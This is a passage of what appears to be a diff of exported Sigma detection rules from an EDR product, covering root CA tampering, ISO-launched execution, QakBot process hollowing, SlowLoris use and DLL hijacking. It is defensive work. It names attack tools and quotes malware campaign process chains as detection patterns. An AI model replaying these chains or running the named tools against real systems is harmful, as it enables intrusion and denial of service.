ProcessImage: '/usr/bin/trust'\n\n    exclusion_eset:\n        ProcessImage: '/opt/eset/e??/lib/execd'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_rsync:\n        ProcessImage: '/usr/bin/rsync'\n\n    exclusion_netdata:\n        ProcessCommandLine: 'tar xpvf -'\n        ProcessParentCommandLine|startswith: 'sh /tmp/netdata-updater-'\n\n    exclusion_podman:\n        - ProcessImage: '/usr/bin/podman'\n        - ProcessParentImage: '/usr/bin/podman'\n        - ProcessAncestors|contains: '|/usr/bin/podman|'\n\n    exclusion_konea:\n        # /opt/quest/kace/bin/konea\n        # /data/quest/kace/bin/konea\n        ProcessParentImage|endswith: '/quest/kace/bin/konea'\n\n    exclusion_puppet:\n        - ProcessImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_kace:\n        ProcessImage: '/var/quest/kace/modules/clientidentifier/clientidentifier'\n\n    exclusion_ubiquity:\n        ProcessCommandLine: '/sbin/init maybe-ubiquity'\n\n    exclusion_steam_pressure_vessel:\n        ProcessImage|endswith: '/steam-runtime-sniper/pressure-vessel/bin/pressure-vessel-wrap'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_earthly:\n        Path|endswith: \"/.apk.????????????????????????????????????????????????\"\n        ProcessImage: '/usr/bin/qemu-aarch64-static'\n        ProcessParentImage: '/usr/bin/earth_debugger'\n        ProcessGrandparentImage: '/usr/bin/buildkit-runc'\n        ProcessGrandparentCommandLine|contains: ' /tmp/earthly/buildkit/'\n\n    exclusion_crio:\n        ProcessImage: '/usr/bin/crio'\n\n    exclusion_mitel:\n        - ProcessParentCommandLine: '/bin/bash /home/scripts_m7450/cert_os.sh'\n        - ProcessGrandparentCommandLine: '/bin/sh /etc/init.d/m7450 start'\n\n     # template_exclusion_ansible\n\n    exclusion_reconfigure:\n        ProcessCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n\n    exclusion_katello1:\n        ProcessCommandLine: 'cp /etc/rhsm/ca/katello-server-ca.pem /etc/pki/ca-trust/source/anchors'\n        ProcessParentCommandLine: '/bin/bash /usr/bin/katello-rhsm-consumer'\n        Path: '/etc/pki/ca-trust/source/anchors/katello-server-ca.pem'\n\n    exclusion_katello2:\n        ProcessImage: '/usr/bin/ln'\n        ProcessGrandparentCommandLine: '/bin/bash /usr/bin/katello-rhsm-consumer'\n\n    exclusion_qemu:\n        ProcessImage: '/usr/bin/qemu-*-static'\n        ProcessParentImage: '/usr/bin/qemu-*-static'\n\n    exclusion_google_agent:\n        ProcessImage: '/usr/bin/google_guest_agent'\n\n    exclusion_salt:\n        ProcessParentCommandLine:\n            - '/usr/bin/python /usr/bin/salt-master'\n            - '/usr/bin/python3 /usr/bin/salt-master'\n            - '/usr/libexec/platform-python /usr/bin/salt-master*'\n            - '/usr/libexec/platform-python /usr/bin/salt-minion*'\n            - '/usr/libexec/platform-python /usr/bin/salt-call*'\n            - '/usr/lib/venv-salt-minion/bin/python.original /usr/lib/venv-salt-minion/bin/salt-minion*'\n            - '/usr/bin/python3 /var/tmp/.root_??????_salt/salt-call *'\n\n    exclusion_zscaler:\n        ProcessImage: '/opt/zscaler/bin/zsaservice'\n\n    exclusion_coreutils:\n        ProcessImage: '/usr/bin/coreutils'\n\n    exclusion_forticlient:\n        ProcessImage: '/opt/forticlient/webfilter'\n        Path|endswith: 'FortiClient_WEBFILTER_CA.crt'\n    exclusion_forticlient2:\n        ProcessParentImage: '/opt/forticlient/fctsched'\n        Path|endswith: 'FortiClient_WEBFILTER_CA.crt'\n\n    exclusion_landscape:\n        ProcessGrandparentCommandLine:\n            - '/usr/bin/python3 /usr/bin/landscape-manager --ignore-sigint'\n            - '/usr/bin/python3 /usr/bin/landscape-manager --ignore-sigint --quiet'\n\n    exclusion_forge_cli:\n        ProcessCommandLine: './forge-cli ca install'\n\n    # https://github.com/canonical/landscape-client/blob/main/scripts/landscape-manager\n    exclusion_landscape_manager:\n        ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python3 /usr/bin/landscape-manager'\n            - '/usr/bin/python /usr/bin/landscape-manager'\n\n    exclusion_conmon_docker:\n        ProcessGrandparentCommandLine|contains|all:\n            - '/usr/bin/conmon'\n            - '-b /store/docker-data/engine/overlay-containers'\n\n    exclusion_cfagent:\n        ProcessImage: '/usr/sbin/cfagent'\n\n    exclusion_keytool:\n        ProcessImage: '/usr/lib/jvm/java-*/jre/bin/keytool'\n\n    exclusion_backup:\n        ProcessImage:\n            - '/bin/cp'\n            - '/usr/bin/cp'\n        ProcessCurrentDirectory|startswith: '/var/backups/'\n\n    exclusion_temp_file:\n        - ProcessImage:\n            - '/usr/bin/vi'\n            - '/usr/bin/vim'\n            - '/usr/bin/vim.basic'\n          Path|endswith:\n            - '.swp'\n            - '.swx'\n        - ProcessImage: '/usr/bin/sed'\n          Path: '/usr/bin/sed??????'\n        - ProcessImage: '/usr/bin/sed'\n          TargetPath: '/usr/bin/sed??????'\n\n    exclusion_buildah:\n        ProcessImage: '/usr/bin/buildah'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c6de2835-4ba4-463b-9ed3-eddc36d302c6",
+  "rule_name": "Root Certificate Authority Tampered",
+  "rule_description": "Detects an attempt at tampering the Root CA (Certificate Authority) of the machine.\nAttackers may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\nRoot certificates are used in public key cryptography to identify a root certificate authority (CA).\nWhen a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.\nCertificates are commonly used for establishing secure TLS/SSL communications within a web browser.\nWhen a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.\nDepending on the security settings, the browser may not allow the user to establish a connection to the website.\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.\nIt is recommended to ensure a system administrator requested the installation of those root certificates and that they haven't been tampered with.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c6f160ff-aaca-449a-ac1c-ad35b1e9d1c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622347Z",
+  "creation_date": "2026-03-23T11:45:34.622349Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622353Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/",
+    "https://attack.mitre.org/techniques/T1204/",
+    "https://attack.mitre.org/techniques/T1059/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1204_suspicious_execution_from_iso.yml",
+  "content": "title: Suspicious Execution from ISO File\nid: c6f160ff-aaca-449a-ac1c-ad35b1e9d1c5\ndescription: |\n    Detects a suspicious execution from a mounted device.\n    It is often the result of a spearphishing attack via disk image file (like ISO or IMG) containing malicious link.\n    Attackers may abuse it to gain execution and to avoid detection.\n    It is recommended to check the executed binary for malicious behavior or content.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/\n    - https://attack.mitre.org/techniques/T1204/\n    - https://attack.mitre.org/techniques/T1059/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/02/14\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204\n    - attack.t1059\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1553.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: 'C:\\'\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\regsvr32.exe'\n            - '\\mshta.exe'\n            - '\\rundll32.exe'\n        ParentImage: '?:\\Windows\\explorer.exe'\n        # Malicious files are most of the time at the root of the disk image\n        CurrentDirectory: '?:\\'\n\n    # Detects binaries executed from the root of a disk image that are not signed\n    selection_execution:\n        CurrentDirectory: '?:\\'\n        Signed: 'false'\n\n    filter_depth:\n        Image: '?:\\\\*\\\\*'\n\n    # Avoid detection if the mounted device is related to a network drive\n    filter_network:\n        Image|startswith: '\\\\\\\\'\n\n    filter_directory:\n        CurrentDirectory:\n            - 'C:\\'\n            # Drive D are often use for CD-Rom drive\n            - 'D:\\'\n\n    exclusion_shell:\n        CommandLine:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\n\n    exclusion_commandline:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER '\n            - '?:\\WINDOWS\\system32\\rundll32.exe cryptext.dll,CryptExtAddPFX '\n            - '?:\\windows\\System32\\rundll32.exe ?:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll, ImageView_Fullscreen '\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files\\'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files (x86)\\'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c \\\\\\\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_device_harddiskvolume:\n        Image|startswith: '\\Device\\HarddiskVolume'\n\n    exclusion_ezdicom:\n        - Image: '?:\\Launcher.exe'\n          ProcessSha256: 'c450dd35228ca0e8d7d2d58add694d78a0403d4a3fadbfddbb0a01efa9899fc6'\n        - Image:\n            - '?:\\Ez-DicomCDViewer.exe'\n            - '?:\\Ez-DicomCDViewer-??.exe'\n            - '?:\\EzDicomCDViewerMPR.exe'\n\n    exclusion_scanvisu:\n        Image: '?:\\DEPART.EXE'\n        Product: \"Lanceur de l'application SCANVISU (Scan+)\"\n\n    exclusion_acetiam:\n        Image: '?:\\CDStart.exe'\n        Product: 'ACETIAM Viewer Lite'\n\n    exclusion_etiam:\n        Image: '?:\\START.EXE'\n        Product: 'Start Etiam CD'\n\n    exclusion_ondemand3d:\n        Image: '?:\\CDViewer.exe'\n        Product: 'OnDemand3DApp'\n\n    condition: (selection or (selection_execution and not filter_depth and not filter_network)) and not filter_directory and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c6f160ff-aaca-449a-ac1c-ad35b1e9d1c5",
+  "rule_name": "Suspicious Execution from ISO File",
+  "rule_description": "Detects a suspicious execution from a mounted device.\nIt is often the result of a spearphishing attack via disk image file (like ISO or IMG) containing malicious link.\nAttackers may abuse it to gain execution and to avoid detection.\nIt is recommended to check the executed binary for malicious behavior or content.\n",
+  "rule_creation_date": "2022-02-14",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1204",
+    "attack.t1218",
+    "attack.t1553.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c6f424db-75c0-4673-be22-9ec4078db0a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077979Z",
+  "creation_date": "2026-03-23T11:45:34.077981Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077985Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/",
+    "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/",
+    "https://binarydefense.com/qakbot-upgrades-to-stealthier-persistence-method/",
+    "https://www.elastic.co/fr/security-labs/qbot-malware-analysis",
+    "https://attack.mitre.org/techniques/T1055/012/"
+  ],
+  "name": "t1055_012_quakbot_process_injection.yml",
+  "content": "title: Process Tampering Linked to QakBot Malware\nid: c6f424db-75c0-4673-be22-9ec4078db0a1\ndescription: |\n    Detects a process injection technique called process hollowing, typically used by the QakBot malware.\n    Attackers may inject malicious code into suspended and hollowed processes to evade detection.\n    Process hollowing is a method of executing malicious code in the address space of a separate legitimate process.\n    It is recommended to analyze both the parent and child processes to look for malicious content, and to investigate further suspicious activities on the host.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/\n    - https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/\n    - https://binarydefense.com/qakbot-upgrades-to-stealthier-persistence-method/\n    - https://www.elastic.co/fr/security-labs/qbot-malware-analysis\n    - https://attack.mitre.org/techniques/T1055/012/\ndate: 2022/04/08\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Malware.Qakbot\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # Seen in March 2022 campaign :\n        # C:\\Program Files (x86)\\Microsoft Office\\Office16\\EXCEL.EXE /dde --> regsvr32 C:\\Seng\\exle1.dll --> C:\\Windows\\SysWOW64\\OneDriveSetup.exe\n\n        # Seen in April 2022 campaign :\n        # C:\\Windows\\syswow64\\MsiExec.exe -Embedding 9B29D099C2FA9FBA0F9F92B45B8B5BB5 --> C:\\Windows\\SysWOW64\\regsvr32.exe C:\\Users\\xxx\\AppData\\Local\\SetupTest\\2.dll --> C:\\Windows\\SysWOW64\\OneDriveSetup.exe\n\n        # Seen in July 2022 campaign :\n        # ISO --> LNK --> C:\\Windows\\System32\\cmd.exe /q /c calc.exe (Dll Sideloading) --> C:\\Windows\\SysWOW64\\regsvr32.exe 7533.dll --> C:\\Windows\\SysWOW64\\wermgr.exe\n\n        # Seen in November 2022 campaign :\n        # https://twitter.com/pr0xylife/status/1592228104139067392\n        # ISO --> LNK --> C:\\Windows\\System32\\cmd.exe /c control.exe (Dll Sideloading) --> C:\\Windows\\SysWOW64\\regsvr32.exe msoffice32.dll --> C:\\Windows\\SysWOW64\\CertEnrollCtrl.exe\n\n        # Seen in December 2023 campaign:\n        # https://twitter.com/CyberGoatherder/status/1736160938212901200\n        # MsiExec.exe --> Rundll32.exe --> SearchIndexer.exe\n        # https://twitter.com/Max_Mal_/status/1736392741758611607\n        # MsiExec.exe --> Rundll32.exe --> wermgr.exe\n        CommandLine|endswith:\n            - '\\explorer.exe'\n            - '\\iexplore.exe'\n            - '\\OneDriveSetup.exe'\n            - '\\msra.exe'\n            - '\\mobsync.exe'\n            - '\\wermgr.exe'\n            - '\\CertEnrollCtrl.exe'\n            - '\\SearchIndexer.exe'\n        ParentImage|endswith:\n            - '\\rundll32.exe'\n            - '\\regsvr32.exe'\n\n    # Specific for campaign with malicious document or msiexec\n    selection_grandparent:\n        GrandparentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\POWERPNT.EXE'\n            - '\\msiexec.exe'\n\n    # Specific for campaign with ISO --> LNK\n    selection_currentdirectory:\n        CurrentDirectory: '?:\\'\n\n    exclusion_bluefiles:\n        ParentCommandLine:\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc * BlueFilesSuite!BlueFilesSuite.CustomActions.RestartExplorerForce'\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc * BlueFilesSuite!BlueFilesSuite.CustomActions.RestartExplorer'\n\n    # https://x.com/SBousseaden/status/1326652574150299649\n    exclusion_runas:\n        ParentCommandLine: '*RunDll32.exe ?:\\Windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL Local\\{4ddb9f3f-700c-4bd6-9fc0-eaf85c01d25b}*'\n\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c6f424db-75c0-4673-be22-9ec4078db0a1",
+  "rule_name": "Process Tampering Linked to QakBot Malware",
+  "rule_description": "Detects a process injection technique called process hollowing, typically used by the QakBot malware.\nAttackers may inject malicious code into suspended and hollowed processes to evade detection.\nProcess hollowing is a method of executing malicious code in the address space of a separate legitimate process.\nIt is recommended to analyze both the parent and child processes to look for malicious content, and to investigate further suspicious activities on the host.\n",
+  "rule_creation_date": "2022-04-08",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c701e4c7-e347-4278-a6b5-6caeac92ea57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613703Z",
+  "creation_date": "2026-03-23T11:45:34.613706Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613713Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/",
+    "https://github.com/maxkrivich/SlowLoris",
+    "https://github.com/StanGirard/SlowLoris-DDOS-Attack",
+    "https://github.com/0xc0d/Slow-Loris",
+    "https://github.com/GHubgenius/slowloris.pl",
+    "https://attack.mitre.org/techniques/T1499/002/"
+  ],
+  "name": "t1498_slowloris_script_execution_linux.yml",
+  "content": "title: SlowLoris Script Execution (Linux)\nid: c701e4c7-e347-4278-a6b5-6caeac92ea57\ndescription: |\n    Detects suspicious arguments in a command-line linked to the usage of a SlowLoris DDoS script.\n    SlowLoris is a type of DDoS attack which allows an attacker to overwhelm a server by maintaining multiple HTTP connections.\n    It is recommended to investigate this by checking if the script parameters are aimed at your own infrastructure and that they're not part of an internal test.\nreferences:\n    - https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/\n    - https://github.com/maxkrivich/SlowLoris\n    - https://github.com/StanGirard/SlowLoris-DDOS-Attack\n    - https://github.com/0xc0d/Slow-Loris\n    - https://github.com/GHubgenius/slowloris.pl\n    - https://attack.mitre.org/techniques/T1499/002/\ndate: 2023/09/19\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1499.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.HackTool.SlowLoris\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'slowloris.pl'\n            - 'slowloris '\n            - 'slowloris.py'\n\n    # There is another rule for cloning\n    filter_github:\n        CommandLine|contains|all:\n            - ' clone '\n            - 'github'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c701e4c7-e347-4278-a6b5-6caeac92ea57",
+  "rule_name": "SlowLoris Script Execution (Linux)",
+  "rule_description": "Detects suspicious arguments in a command-line linked to the usage of a SlowLoris DDoS script.\nSlowLoris is a type of DDoS attack which allows an attacker to overwhelm a server by maintaining multiple HTTP connections.\nIt is recommended to investigate this by checking if the script parameters are aimed at your own infrastructure and that they're not part of an internal test.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1499.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c707a3c3-727b-4362-ab7f-c7e38a8e020d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088904Z",
+  "creation_date": "2026-03-23T11:45:34.088907Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088911Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_locationnotificationwindows.yml",
+  "content": "title: DLL Hijacking via LocationNotificationWindows.exe\nid: c707a3c3-727b-4362-ab7f-c7e38a8e020d\ndescription: |\n    Detects potential Windows DLL Hijacking via LocationNotificationWindows.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LocationNotificationWindows.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\msvcp110_win.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c707a3c3-727b-4362-ab7f-c7e38a8e020d",
+  "rule_name": "DLL Hijacking via LocationNotificationWindows.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via LocationNotificationWindows.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c70add7d-5d2c-4c70-8093-25c9b2c4abc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595326Z",
+  "creation_date": "2026-03-23T11:45:34.595329Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595337Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SecurityAura/status/1737092798728278498",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_dll_load_from_programdata.yml",
